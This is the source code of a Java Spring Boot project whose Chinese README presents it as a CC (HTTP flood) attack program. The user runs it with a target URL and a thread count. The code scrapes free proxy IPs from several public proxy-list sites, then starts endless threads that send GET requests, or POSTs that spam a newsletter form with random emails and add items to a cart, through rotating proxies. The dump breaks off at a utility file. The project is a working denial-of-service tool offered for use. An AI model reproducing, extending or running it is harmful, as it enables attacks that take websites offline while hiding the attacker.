├── .gitignore ├── README.md ├── pom.xml └── src └── main ├── java └── com │ └── video │ └── data │ ├── DdosApplication.java │ ├── annotations │ └── Command.java │ ├── command │ ├── BaseCommandI.java │ ├── DdosCommand.java │ └── model │ │ └── ReturnMsg.java │ ├── controller │ └── SystemController.java │ ├── ddos │ ├── Ddos.java │ └── proxy │ │ ├── BaseProxyIp.java │ │ ├── FreeProxyIp.java │ │ ├── KuaiProxyIp.java │ │ ├── LiuliuProxyIp.java │ │ ├── ProxyMonitoring.java │ │ ├── QiyunProxyIp.java │ │ ├── XilaHttpProxyIp.java │ │ └── XilaProxyIp.java │ ├── model │ ├── HttpModel.java │ ├── IpInfoModel.java │ └── ProxyIp.java │ └── utils │ ├── DdosUtil.java │ ├── HttpRequest.java │ ├── Regex.java │ ├── SpringUtil.java │ └── Utils.java └── resources └── application.properties /.gitignore: -------------------------------------------------------------------------------- 1 | HELP.md 2 | target/ 3 | !.mvn/wrapper/maven-wrapper.jar 4 | !**/src/main/** 5 | !**/src/test/** 6 | 7 | ### STS ### 8 | .apt_generated 9 | .classpath 10 | .factorypath 11 | .project 12 | .settings 13 | .springBeans 14 | .sts4-cache 15 | 16 | ### IntelliJ IDEA ### 17 | .idea 18 | *.iws 19 | *.iml 20 | *.ipr 21 | 22 | ### NetBeans ### 23 | /nbproject/private/ 24 | /nbbuild/ 25 | /dist/ 26 | /nbdist/ 27 | /.nb-gradle/ 28 | build/ 29 | 30 | ### VS Code ### 31 | .vscode/ 32 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ddos 2 | ### CC攻击程序,海量IP在线攻击 3 | **** 4 | ### http://localhost:8090/ip/list 查看当前IP池状态
5 | ### http://localhost:8090/status 查询当前系统状态 6 | **** 7 | ### 如果有用请点个小心心 8 | **** 9 | ## releases
10 | ### 下载源码是jar包,执行命令可运行:java -jar package-name ddos url client-count
11 | 12 | |参数|含义| 13 | |---|--- 14 | |package-name|下载的jar包名 15 | |url|需要攻击的网站链接(注意只能get请求) 16 | |client-count|客户端请求数 17 | |ddos|固定参数 18 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | 6 | org.springframework.boot 7 | spring-boot-starter-parent 8 | 2.2.1.RELEASE 9 | 10 | 11 | com.video 12 | ddos 13 | 0.0.1-SNAPSHOT 14 | ddos 15 | video data provide 16 | 17 | 18 | 1.8 19 | 20 | 21 | 22 | 23 | org.springframework.boot 24 | spring-boot-starter-web 25 | 26 | 27 | org.springframework.boot 28 | spring-boot-devtools 29 | runtime 30 | true 31 | 32 | 33 | org.reflections 34 | reflections 35 | 0.9.11 36 | 37 | 38 | org.springframework.boot 39 | spring-boot-starter-log4j2 40 | 41 | 42 | org.apache.httpcomponents 43 | httpclient 44 | 4.5.10 45 | 46 | 47 | commons-lang 48 | commons-lang 49 | 2.6 50 | 51 | 52 | org.jsoup 53 | jsoup 54 | 1.12.1 55 | 56 | 57 | 58 | 59 | 60 | org.springframework.boot 61 | spring-boot-maven-plugin 62 | 63 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /src/main/java/com/video/data/DdosApplication.java: -------------------------------------------------------------------------------- 1 | package com.video.data; 2 | 3 | import com.video.data.annotations.Command; 4 | import com.video.data.command.BaseCommandI; 5 | import com.video.data.command.model.ReturnMsg; 6 | import com.video.data.model.ProxyIp; 7 | import com.video.data.utils.SpringUtil; 8 | import org.reflections.Reflections; 9 | import org.springframework.boot.CommandLineRunner; 10 | import org.springframework.boot.SpringApplication; 11 | import org.springframework.boot.autoconfigure.SpringBootApplication; 12 | import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration; 13 | import org.springframework.boot.autoconfigure.orm.jpa.HibernateJpaAutoConfiguration; 14 | import org.springframework.context.annotation.Bean; 15 | 16 | import java.text.SimpleDateFormat; 17 | import java.util.*; 18 | 19 | @SpringBootApplication(exclude={DataSourceAutoConfiguration.class, HibernateJpaAutoConfiguration.class}) 20 | public class DdosApplication implements CommandLineRunner { 21 | 22 | private static Map methods; 23 | 24 | public static void main(String[] args) { 25 | SpringApplication.run(DdosApplication.class, args); 26 | } 27 | 28 | @Override 29 | public void run(String... args) { 30 | ReturnMsg returnMsg = new ReturnMsg(); 31 | if (args.length < 1) { 32 | returnMsg.error("必须有参数"); 33 | System.exit(0); 34 | } 35 | setMethods(); 36 | Class method = methods.get(args[0]); 37 | if(method == null) { 38 | returnMsg.error("未找到可用方法"); 39 | System.exit(0); 40 | } 41 | BaseCommandI command = (BaseCommandI) SpringUtil.getBean(method); 42 | command.run(args); 43 | } 44 | 45 | /** 46 | * 扫描包找到所有能用的命令 47 | */ 48 | private void setMethods() { 49 | methods = new HashMap<>(); 50 | Reflections reflections = new Reflections("com.video.data.command"); 51 | Set> classes = reflections.getSubTypesOf(BaseCommandI.class); 52 | for (Class clzz : classes) { 53 | Command command = (Command) clzz.getAnnotation(Command.class); 54 | if(command != null) { 55 | methods.put(command.value(), clzz); 56 | } 57 | } 58 | } 59 | 60 | @Bean 61 | public ProxyIp getProxyIp() { 62 | ProxyIp proxyIp = new ProxyIp(); 63 | proxyIp.setProxyIps(new ArrayList<>()); 64 | SimpleDateFormat sf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 65 | proxyIp.setStartTime(sf.format(new Date())); 66 | return proxyIp; 67 | } 68 | 69 | 70 | } 71 | -------------------------------------------------------------------------------- /src/main/java/com/video/data/annotations/Command.java: -------------------------------------------------------------------------------- 1 | package com.video.data.annotations; 2 | 3 | import org.springframework.stereotype.Component; 4 | 5 | import java.lang.annotation.*; 6 | 7 | @Target({ElementType.TYPE}) 8 | @Retention(RetentionPolicy.RUNTIME) 9 | @Documented 10 | @Component 11 | public @interface Command { 12 | String value() default ""; 13 | 14 | } 15 | -------------------------------------------------------------------------------- /src/main/java/com/video/data/command/BaseCommandI.java: -------------------------------------------------------------------------------- 1 | package com.video.data.command; 2 | 3 | import com.video.data.command.model.ReturnMsg; 4 | 5 | public interface BaseCommandI { 6 | 7 | ReturnMsg run(String... args); 8 | 9 | 10 | } 11 | -------------------------------------------------------------------------------- /src/main/java/com/video/data/command/DdosCommand.java: -------------------------------------------------------------------------------- 1 | package com.video.data.command; 2 | 3 | import com.video.data.annotations.Command; 4 | import com.video.data.command.model.ReturnMsg; 5 | import com.video.data.ddos.Ddos; 6 | import com.video.data.ddos.proxy.ProxyMonitoring; 7 | import org.springframework.stereotype.Service; 8 | 9 | @Command("ddos") 10 | @Service 11 | public class DdosCommand implements BaseCommandI { 12 | 13 | @Override 14 | public ReturnMsg run(String... args) { 15 | ReturnMsg returnMsg = new ReturnMsg(); 16 | System.setProperty("https.protocols", "TLSv1.1,TLSv1.2"); 17 | String url = args[1]; 18 | int threadNum = Integer.parseInt(args[2]); 19 | returnMsg.success("启动代理IP抓取程序"); 20 | returnMsg.success("查看当前代理IP状态地址:http://localhost:8090/ip/list"); 21 | Thread thread1 = new Thread(new ProxyMonitoring()); 22 | thread1.start(); 23 | returnMsg.success("30秒后将会启动攻击程序"); 24 | try { 25 | Thread.sleep(30000); 26 | } catch (InterruptedException ignored) {} 27 | returnMsg.success("启动" + threadNum + "个线程"); 28 | returnMsg.success("攻击站点:" + url); 29 | for (int i = 0; i < threadNum; i++) { 30 | Ddos ddos = new Ddos(); 31 | ddos.setUrl(url); 32 | Thread thread = new Thread(ddos); 33 | thread.start(); 34 | } 35 | return returnMsg; 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/main/java/com/video/data/command/model/ReturnMsg.java: -------------------------------------------------------------------------------- 1 | package com.video.data.command.model; 2 | 3 | import org.slf4j.Logger; 4 | import org.slf4j.LoggerFactory; 5 | 6 | public class ReturnMsg { 7 | 8 | private Logger logger = LoggerFactory.getLogger(this.toString()); 9 | 10 | public void success(String msg) { 11 | logger.info(msg); 12 | System.out.println(msg); 13 | } 14 | 15 | public void error(String msg) { 16 | logger.error(msg); 17 | System.err.println(msg); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/main/java/com/video/data/controller/SystemController.java: -------------------------------------------------------------------------------- 1 | package com.video.data.controller; 2 | 3 | import com.video.data.model.IpInfoModel; 4 | import com.video.data.model.ProxyIp; 5 | import org.springframework.beans.factory.annotation.Autowired; 6 | import org.springframework.web.bind.annotation.RequestMapping; 7 | import org.springframework.web.bind.annotation.RestController; 8 | 9 | import java.util.List; 10 | import java.util.Map; 11 | 12 | @RestController 13 | public class SystemController { 14 | 15 | @Autowired 16 | ProxyIp proxyIp; 17 | 18 | @RequestMapping("/ip/list") 19 | public String ipDetail() { 20 | List list = proxyIp.getProxyIps(); 21 | StringBuilder sb = new StringBuilder(); 22 | sb.append(""); 23 | sb.append("当前可用IP:").append(list.size()).append(" 个").append("
"); 24 | sb.append(""); 27 | sb.append("" + 28 | ""); 29 | sb.append(""); 30 | for (IpInfoModel ip : list) { 31 | sb.append(""); 32 | sb.append(""); 35 | sb.append(""); 38 | sb.append(""); 41 | sb.append(""); 44 | sb.append(""); 47 | sb.append(""); 50 | sb.append(""); 53 | sb.append(""); 54 | } 55 | sb.append(""); 56 | sb.append("
协议IP端口来源连接失败次数连接成功次数最后使用时间
"); 33 | sb.append(ip.getScheme()); 34 | sb.append(""); 36 | sb.append(ip.getIp()); 37 | sb.append(""); 39 | sb.append(ip.getProt()); 40 | sb.append(""); 42 | sb.append(ip.getSource()); 43 | sb.append(""); 45 | sb.append(ip.getDisconnectTimes()); 46 | sb.append(""); 48 | sb.append(ip.getAvailableTimes()); 49 | sb.append(""); 51 | sb.append(ip.getLastUseTime()); 52 | sb.append("
"); 57 | return sb.toString(); 58 | } 59 | 60 | @RequestMapping("/status") 61 | public String status() { 62 | StringBuilder proxyList = new StringBuilder(); 63 | for (String proxy : proxyIp.getProxyList()) { 64 | proxyList.append(proxy).append(" ,"); 65 | } 66 | StringBuilder sb = new StringBuilder(); 67 | sb.append(""); 68 | sb.append(""); 71 | sb.append(""); 72 | sb.append(""); 74 | sb.append(""); 76 | sb.append(""); 78 | sb.append(""); 80 | sb.append(""); 82 | sb.append(""); 84 | for (Map.Entry entry : proxyIp.getActivePorxy().entrySet()) { 85 | sb.append(""); 88 | 89 | } 90 | 91 | return sb.toString(); 92 | } 93 | 94 | } 95 | -------------------------------------------------------------------------------- /src/main/java/com/video/data/ddos/Ddos.java: -------------------------------------------------------------------------------- 1 | package com.video.data.ddos; 2 | 3 | import com.video.data.model.HttpModel; 4 | import com.video.data.model.IpInfoModel; 5 | import com.video.data.model.ProxyIp; 6 | import com.video.data.utils.DdosUtil; 7 | import com.video.data.utils.HttpRequest; 8 | import com.video.data.utils.SpringUtil; 9 | import com.video.data.utils.Utils; 10 | 11 | import java.util.HashMap; 12 | import java.util.Map; 13 | 14 | public class Ddos implements Runnable { 15 | 16 | private String url; 17 | 18 | @Override 19 | public void run() { 20 | long loop = 1; 21 | while (true) { 22 | Map header = new HashMap<>(); 23 | System.out.println("线程" + Thread.currentThread().getName() + "第" + loop + "次攻击!"); 24 | ProxyIp proxyIpModel = SpringUtil.getBean(ProxyIp.class); 25 | proxyIpModel.setTotalTimes(proxyIpModel.getTotalTimes() + 1); 26 | IpInfoModel ipInfo = DdosUtil.selectOneIp(); 27 | if(ipInfo == null || "".equals(ipInfo.getIpInfo())) { 28 | System.out.println("暂无可用IP,休息十秒钟"); 29 | try { 30 | Thread.sleep(10000); 31 | } catch (InterruptedException ignored) {} 32 | continue; 33 | } 34 | int code = request(header, ipInfo.getIpInfo()).getCode(); 35 | if(code == 200) { 36 | DdosUtil.ipSuccess(ipInfo); 37 | proxyIpModel.setRequestTimes(proxyIpModel.getRequestTimes() + 1); 38 | }else if(code >= 500) { 39 | DdosUtil.ipSuccess(ipInfo); 40 | proxyIpModel.setRequestErrorTimes(proxyIpModel.getRequestErrorTimes() + 1); 41 | } 42 | if(code == 0) { 43 | DdosUtil.ipError(ipInfo); 44 | proxyIpModel.setIpErrorNumber(proxyIpModel.getIpErrorNumber() + 1); 45 | } 46 | loop++; 47 | } 48 | } 49 | 50 | private HttpModel request(Map header, String proxyIp) { 51 | if(this.url.contains("post")) { 52 | String url = ""; 53 | Map params = new HashMap<>(); 54 | String email = Utils.generateRandomStr(10) + "@" 55 | + Utils.generateRandomStr(5) + "." 56 | + Utils.generateRandomStr(4); 57 | params.put("tm_newsletter_email", email); 58 | return HttpRequest.sendPostRequest(url, params, proxyIp); 59 | }else if(this.url.contains("cart")){ 60 | String url = ""; 61 | Map params = new HashMap<>(); 62 | params.put("product_id", "61041"); 63 | return HttpRequest.sendPostRequest(url, params, proxyIp); 64 | }else{ 65 | return HttpRequest.sendGetRequest(url, header, proxyIp); 66 | } 67 | } 68 | 69 | 70 | public String getUrl() { 71 | return url; 72 | } 73 | 74 | public void setUrl(String url) { 75 | this.url = url; 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /src/main/java/com/video/data/ddos/proxy/BaseProxyIp.java: -------------------------------------------------------------------------------- 1 | package com.video.data.ddos.proxy; 2 | 3 | import com.video.data.model.HttpModel; 4 | import com.video.data.model.IpInfoModel; 5 | import com.video.data.model.ProxyIp; 6 | import com.video.data.utils.DdosUtil; 7 | import com.video.data.utils.HttpRequest; 8 | import com.video.data.utils.SpringUtil; 9 | import org.springframework.util.StringUtils; 10 | 11 | import java.text.SimpleDateFormat; 12 | import java.util.Date; 13 | import java.util.List; 14 | import java.util.Map; 15 | 16 | public class BaseProxyIp implements Runnable { 17 | 18 | private List ipList = SpringUtil.getBean(ProxyIp.class).getProxyIps(); 19 | 20 | @Override 21 | public void run() { 22 | System.out.println(getProxyName() + "IP抓取程序已启动"); 23 | Thread.currentThread().setName(getProxyName()); 24 | ProxyIp proxyIp = SpringUtil.getBean(ProxyIp.class); 25 | if(!proxyIp.getProxyList().contains(getProxyName())) { 26 | proxyIp.getProxyList().add(getProxyName()); 27 | } 28 | int page = 1; 29 | while (true) { 30 | if(page >= getMaxPage()) { 31 | page = 1; 32 | } 33 | SimpleDateFormat sf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 34 | Map activePorxy = proxyIp.getActivePorxy(); 35 | try { 36 | activePorxy.put(getProxyName(), sf.format(new Date())); 37 | String url = getUrl(page); 38 | HttpModel httpModel = http(url); 39 | if(StringUtils.isEmpty(httpModel.getContent())) { 40 | continue; 41 | } 42 | List list = parse(httpModel.getContent()); 43 | if(list != null) { 44 | setIp(list); 45 | } 46 | }catch (Exception e) { 47 | activePorxy.put(getProxyName(), sf.format(new Date()) + ":出现异常" + e.getMessage()); 48 | } 49 | page++; 50 | } 51 | } 52 | 53 | private void setIp(List ips) { 54 | ipList.addAll(ips); 55 | } 56 | 57 | public List parse(String content) { 58 | return null; 59 | } 60 | 61 | public HttpModel http(String url) { 62 | IpInfoModel ipInfo = DdosUtil.selectOneIp(); 63 | HttpModel httpModel; 64 | if(ipInfo == null || "".equals(ipInfo.getIpInfo())) { 65 | httpModel = HttpRequest.sendGetRequest(url); 66 | }else{ 67 | httpModel = HttpRequest.sendGetRequest(url, null, ipInfo.getIpInfo()); 68 | } 69 | if(httpModel.getCode() == 0) { 70 | if(ipInfo != null) { 71 | DdosUtil.ipError(ipInfo); 72 | } 73 | }else if(httpModel.getCode() > 0) { 74 | if(ipInfo != null) { 75 | DdosUtil.ipSuccess(ipInfo); 76 | } 77 | } 78 | return httpModel; 79 | } 80 | 81 | public String getUrl(int page) { 82 | return ""; 83 | } 84 | 85 | public int getMaxPage() { 86 | return 0; 87 | } 88 | 89 | public String getProxyName() { 90 | return ""; 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /src/main/java/com/video/data/ddos/proxy/FreeProxyIp.java: -------------------------------------------------------------------------------- 1 | package com.video.data.ddos.proxy; 2 | 3 | import com.video.data.model.IpInfoModel; 4 | import org.jsoup.Jsoup; 5 | import org.jsoup.nodes.Document; 6 | import org.jsoup.nodes.Element; 7 | import org.jsoup.select.Elements; 8 | 9 | import java.util.ArrayList; 10 | import java.util.List; 11 | 12 | public class FreeProxyIp extends BaseProxyIp { 13 | 14 | public List parse(String content) { 15 | List ipList = new ArrayList<>(); 16 | Document doc = Jsoup.parse(content); 17 | Elements elements = doc.getElementsByClass("DataGrid").eq(0).select("tbody").select("tr"); 18 | for (Element element : elements) { 19 | Elements tdElement = element.select("td"); 20 | if(!"IP地址".equals(tdElement.get(0).text())) { 21 | IpInfoModel ipInfoModel = new IpInfoModel(); 22 | ipInfoModel.setScheme(tdElement.eq(2).text()); 23 | ipInfoModel.setIp(tdElement.eq(0).text()); 24 | ipInfoModel.setProt(tdElement.get(1).text()); 25 | ipInfoModel.setSource("free"); 26 | ipInfoModel.setDisconnectTimes(0); 27 | ipList.add(ipInfoModel); 28 | } 29 | } 30 | return ipList; 31 | } 32 | 33 | public String getUrl(int page) { 34 | return "http://freeproxylists.net/zh/?page=" + page; 35 | } 36 | 37 | public int getMaxPage() { 38 | return 1800; 39 | } 40 | 41 | public String getProxyName() { 42 | return "free proxy lists代理"; 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/com/video/data/ddos/proxy/KuaiProxyIp.java: -------------------------------------------------------------------------------- 1 | package com.video.data.ddos.proxy; 2 | 3 | import com.video.data.model.IpInfoModel; 4 | import org.jsoup.Jsoup; 5 | import org.jsoup.nodes.Document; 6 | import org.jsoup.nodes.Element; 7 | import org.jsoup.select.Elements; 8 | 9 | import java.util.ArrayList; 10 | import java.util.List; 11 | 12 | public class KuaiProxyIp extends BaseProxyIp { 13 | 14 | public List parse(String content) { 15 | List ipList = new ArrayList<>(); 16 | Document doc = Jsoup.parse(content); 17 | Elements elements = doc.getElementById("list").select("table").select("tbody").select("tr"); 18 | for (Element element : elements) { 19 | Elements tdElement = element.select("td"); 20 | IpInfoModel ipInfoModel = new IpInfoModel(); 21 | ipInfoModel.setScheme(tdElement.eq(3).text()); 22 | ipInfoModel.setIp(tdElement.eq(0).text()); 23 | ipInfoModel.setProt(tdElement.eq(1).text()); 24 | ipInfoModel.setSource("KuaiDaili"); 25 | ipInfoModel.setDisconnectTimes(0); 26 | ipList.add(ipInfoModel); 27 | } 28 | return ipList; 29 | } 30 | 31 | public String getUrl(int page) { 32 | return "https://www.kuaidaili.com/free/inha/" + page; 33 | } 34 | 35 | public int getMaxPage() { 36 | return 3000; 37 | } 38 | 39 | public String getProxyName() { 40 | return "快代理"; 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /src/main/java/com/video/data/ddos/proxy/LiuliuProxyIp.java: -------------------------------------------------------------------------------- 1 | package com.video.data.ddos.proxy; 2 | 3 | import com.video.data.model.IpInfoModel; 4 | import org.jsoup.Jsoup; 5 | import org.jsoup.nodes.Document; 6 | import org.jsoup.nodes.Element; 7 | import org.jsoup.select.Elements; 8 | 9 | import java.util.ArrayList; 10 | import java.util.List; 11 | 12 | public class LiuliuProxyIp extends BaseProxyIp { 13 | 14 | public List parse(String content) { 15 | List ipList = new ArrayList<>(); 16 | Document doc = Jsoup.parse(content); 17 | Elements elements = doc.getElementById("main").select("table").select("tbody").select("tr"); 18 | for (Element element : elements) { 19 | Elements tdElement = element.select("td"); 20 | if(!"ip".equals(tdElement.get(0).text())) { 21 | IpInfoModel ipInfoModel = new IpInfoModel(); 22 | ipInfoModel.setScheme("HTTP"); 23 | ipInfoModel.setIp(tdElement.eq(0).text()); 24 | ipInfoModel.setProt(tdElement.get(1).text()); 25 | ipInfoModel.setSource("66代理"); 26 | ipInfoModel.setDisconnectTimes(0); 27 | ipList.add(ipInfoModel); 28 | } 29 | } 30 | return ipList; 31 | } 32 | 33 | public String getUrl(int page) { 34 | return "http://www.66ip.cn/_" + page + ".html"; 35 | } 36 | 37 | public int getMaxPage() { 38 | return 1800; 39 | } 40 | 41 | public String getProxyName() { 42 | return "66代理"; 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/com/video/data/ddos/proxy/ProxyMonitoring.java: -------------------------------------------------------------------------------- 1 | package com.video.data.ddos.proxy; 2 | 3 | /** 4 | * 抓取代理IP 5 | */ 6 | public class ProxyMonitoring implements Runnable { 7 | 8 | @Override 9 | public void run() { 10 | System.out.println("代理IP抓取程序已启动"); 11 | ThreadGroup threadGroup = new ThreadGroup("proxy"); 12 | for (int i = 0; i < 5; i++) { 13 | new Thread(threadGroup, new XilaProxyIp()).start(); 14 | new Thread(threadGroup, new XilaHttpProxyIp()).start(); 15 | new Thread(threadGroup, new QiyunProxyIp()).start(); 16 | new Thread(threadGroup, new KuaiProxyIp()).start(); 17 | new Thread(threadGroup, new LiuliuProxyIp()).start(); 18 | new Thread(threadGroup, new FreeProxyIp()).start(); 19 | } 20 | } 21 | 22 | 23 | 24 | 25 | 26 | 27 | } 28 | -------------------------------------------------------------------------------- /src/main/java/com/video/data/ddos/proxy/QiyunProxyIp.java: -------------------------------------------------------------------------------- 1 | package com.video.data.ddos.proxy; 2 | 3 | import com.video.data.model.IpInfoModel; 4 | import org.jsoup.Jsoup; 5 | import org.jsoup.nodes.Document; 6 | import org.jsoup.nodes.Element; 7 | import org.jsoup.select.Elements; 8 | 9 | import java.util.ArrayList; 10 | import java.util.List; 11 | 12 | public class QiyunProxyIp extends BaseProxyIp { 13 | 14 | public List parse(String content) { 15 | List ipList = new ArrayList<>(); 16 | Document doc = Jsoup.parse(content); 17 | Elements elements = doc.getElementsByClass("layui-table").eq(0).select("tbody").select("tr"); 18 | for (Element element : elements) { 19 | Elements tdElement = element.select("td"); 20 | IpInfoModel ipInfoModel = new IpInfoModel(); 21 | ipInfoModel.setScheme("HTTP"); 22 | ipInfoModel.setIp(tdElement.eq(0).text()); 23 | ipInfoModel.setProt(tdElement.get(1).text()); 24 | ipInfoModel.setSource("89代理"); 25 | ipInfoModel.setDisconnectTimes(0); 26 | ipList.add(ipInfoModel); 27 | } 28 | return ipList; 29 | } 30 | 31 | public String getUrl(int page) { 32 | return "http://www.89ip.cn/index_" + page + ".html"; 33 | } 34 | 35 | public int getMaxPage() { 36 | return 70; 37 | } 38 | 39 | public String getProxyName() { 40 | return "89代理"; 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /src/main/java/com/video/data/ddos/proxy/XilaHttpProxyIp.java: -------------------------------------------------------------------------------- 1 | package com.video.data.ddos.proxy; 2 | 3 | import com.video.data.model.IpInfoModel; 4 | import org.jsoup.Jsoup; 5 | import org.jsoup.nodes.Document; 6 | import org.jsoup.nodes.Element; 7 | import org.jsoup.select.Elements; 8 | 9 | import java.util.ArrayList; 10 | import java.util.List; 11 | 12 | public class XilaHttpProxyIp extends BaseProxyIp { 13 | 14 | public List parse(String content) { 15 | List ipList = new ArrayList<>(); 16 | Document doc = Jsoup.parse(content); 17 | Elements elements = doc.getElementsByClass("fl-table").eq(0); 18 | Elements tableElements = elements.select("tbody").select("tr"); 19 | for (Element tr : tableElements) { 20 | Elements tdElement = tr.select("td"); 21 | IpInfoModel ipInfoModel = new IpInfoModel(); 22 | ipInfoModel.setScheme("HTTP"); 23 | ipInfoModel.setIp(tdElement.eq(0).text().split(":")[0]); 24 | ipInfoModel.setProt(tdElement.eq(0).text().split(":")[1]); 25 | ipInfoModel.setSource("西拉HTTP"); 26 | ipInfoModel.setDisconnectTimes(0); 27 | ipList.add(ipInfoModel); 28 | } 29 | return ipList; 30 | } 31 | 32 | public String getUrl(int page) { 33 | return "http://www.nimadaili.com/http/" + page + "/"; 34 | } 35 | 36 | public int getMaxPage() { 37 | return 500; 38 | } 39 | 40 | public String getProxyName() { 41 | return "西拉HTTP代理"; 42 | } 43 | 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/com/video/data/ddos/proxy/XilaProxyIp.java: -------------------------------------------------------------------------------- 1 | package com.video.data.ddos.proxy; 2 | 3 | import com.video.data.model.IpInfoModel; 4 | import org.jsoup.Jsoup; 5 | import org.jsoup.nodes.Document; 6 | import org.jsoup.nodes.Element; 7 | import org.jsoup.select.Elements; 8 | 9 | import java.util.ArrayList; 10 | import java.util.List; 11 | 12 | public class XilaProxyIp extends BaseProxyIp { 13 | 14 | public List parse(String content) { 15 | List ipList = new ArrayList<>(); 16 | Document doc = Jsoup.parse(content); 17 | Elements elements = doc.getElementsByClass("fl-table").eq(0); 18 | Elements tableElements = elements.select("tbody").select("tr"); 19 | for (Element tr : tableElements) { 20 | Elements tdElement = tr.select("td"); 21 | IpInfoModel ipInfoModel = new IpInfoModel(); 22 | ipInfoModel.setScheme("HTTPS"); 23 | ipInfoModel.setIp(tdElement.eq(0).text().split(":")[0]); 24 | ipInfoModel.setProt(tdElement.eq(0).text().split(":")[1]); 25 | ipInfoModel.setSource("西拉"); 26 | ipInfoModel.setDisconnectTimes(0); 27 | ipList.add(ipInfoModel); 28 | } 29 | return ipList; 30 | } 31 | 32 | public String getUrl(int page) { 33 | return "http://www.nimadaili.com/https/" + page + "/"; 34 | } 35 | 36 | public int getMaxPage() { 37 | return 500; 38 | } 39 | 40 | public String getProxyName() { 41 | return "西拉代理"; 42 | } 43 | 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/com/video/data/model/HttpModel.java: -------------------------------------------------------------------------------- 1 | package com.video.data.model; 2 | 3 | public class HttpModel { 4 | 5 | private int code; 6 | 7 | private String content; 8 | 9 | public int getCode() { 10 | return code; 11 | } 12 | 13 | public void setCode(int code) { 14 | this.code = code; 15 | } 16 | 17 | public String getContent() { 18 | return content; 19 | } 20 | 21 | public void setContent(String content) { 22 | this.content = content; 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /src/main/java/com/video/data/model/IpInfoModel.java: -------------------------------------------------------------------------------- 1 | package com.video.data.model; 2 | 3 | public class IpInfoModel { 4 | 5 | private String scheme; 6 | 7 | private String ip; 8 | 9 | private String prot; 10 | 11 | private String source; 12 | 13 | private Integer disconnectTimes = 0; 14 | 15 | private Integer availableTimes = 0; 16 | 17 | private String lastUseTime = "未使用"; 18 | 19 | public String getScheme() { 20 | return scheme; 21 | } 22 | 23 | public void setScheme(String scheme) { 24 | this.scheme = scheme; 25 | } 26 | 27 | public String getIp() { 28 | return ip; 29 | } 30 | 31 | public void setIp(String ip) { 32 | this.ip = ip; 33 | } 34 | 35 | public String getSource() { 36 | return source; 37 | } 38 | 39 | public void setSource(String source) { 40 | this.source = source; 41 | } 42 | 43 | public Integer getDisconnectTimes() { 44 | return disconnectTimes; 45 | } 46 | 47 | public void setDisconnectTimes(Integer disconnectTimes) { 48 | synchronized (this.disconnectTimes) { 49 | this.disconnectTimes = disconnectTimes; 50 | } 51 | } 52 | 53 | public String getProt() { 54 | return prot; 55 | } 56 | 57 | public void setProt(String prot) { 58 | this.prot = prot; 59 | } 60 | 61 | public Integer getAvailableTimes() { 62 | return availableTimes; 63 | } 64 | 65 | public void setAvailableTimes(Integer availableTimes) { 66 | synchronized (this.availableTimes) { 67 | this.availableTimes = availableTimes; 68 | } 69 | } 70 | 71 | public String getLastUseTime() { 72 | return lastUseTime; 73 | } 74 | 75 | public void setLastUseTime(String lastUseTime) { 76 | this.lastUseTime = lastUseTime; 77 | } 78 | 79 | public String getIpInfo() { 80 | return scheme + ":" + ip + ":" + prot + ":" + source + ":连接失败次数:" + disconnectTimes + ":连接成功次数:" + availableTimes; 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /src/main/java/com/video/data/model/ProxyIp.java: -------------------------------------------------------------------------------- 1 | package com.video.data.model; 2 | 3 | 4 | import java.util.ArrayList; 5 | import java.util.HashMap; 6 | import java.util.List; 7 | import java.util.Map; 8 | 9 | public class ProxyIp { 10 | 11 | private List proxyIps; 12 | 13 | private Long requestErrorTimes = 0L; 14 | 15 | private Long requestTimes = 0L; 16 | 17 | private Long ipErrorNumber = 0L; 18 | 19 | private Long totalTimes = 0L; 20 | 21 | private String startTime = ""; 22 | 23 | private Map activePorxy = new HashMap<>(); 24 | 25 | private List proxyList = new ArrayList<>(); 26 | 27 | public List getProxyIps() { 28 | synchronized (proxyIps) { 29 | return proxyIps; 30 | } 31 | } 32 | 33 | public void setProxyIps(List proxyIps) { 34 | this.proxyIps = proxyIps; 35 | } 36 | 37 | public Long getRequestErrorTimes() { 38 | return requestErrorTimes; 39 | } 40 | 41 | public void setRequestErrorTimes(Long requestErrorTimes) { 42 | synchronized (this.requestErrorTimes) { 43 | this.requestErrorTimes = requestErrorTimes; 44 | } 45 | } 46 | 47 | public Long getRequestTimes() { 48 | return requestTimes; 49 | } 50 | 51 | public void setRequestTimes(Long requestTimes) { 52 | synchronized (this.requestTimes) { 53 | this.requestTimes = requestTimes; 54 | } 55 | } 56 | 57 | public Long getIpErrorNumber() { 58 | return ipErrorNumber; 59 | } 60 | 61 | public void setIpErrorNumber(Long ipErrorNumber) { 62 | synchronized (this.ipErrorNumber) { 63 | this.ipErrorNumber = ipErrorNumber; 64 | } 65 | } 66 | 67 | public Long getTotalTimes() { 68 | return totalTimes; 69 | } 70 | 71 | public void setTotalTimes(Long totalTimes) { 72 | synchronized (this.totalTimes) { 73 | this.totalTimes = totalTimes; 74 | } 75 | } 76 | 77 | public List getProxyList() { 78 | return proxyList; 79 | } 80 | 81 | public void setProxyList(List proxyList) { 82 | this.proxyList = proxyList; 83 | } 84 | 85 | public String getStartTime() { 86 | return startTime; 87 | } 88 | 89 | public void setStartTime(String startTime) { 90 | this.startTime = startTime; 91 | } 92 | 93 | public Map getActivePorxy() { 94 | return activePorxy; 95 | } 96 | 97 | public void setActivePorxy(Map activePorxy) { 98 | synchronized (this.activePorxy) { 99 | this.activePorxy = activePorxy; 100 | } 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /src/main/java/com/video/data/utils/DdosUtil.java: -------------------------------------------------------------------------------- 1 | package com.video.data.utils; 2 | 3 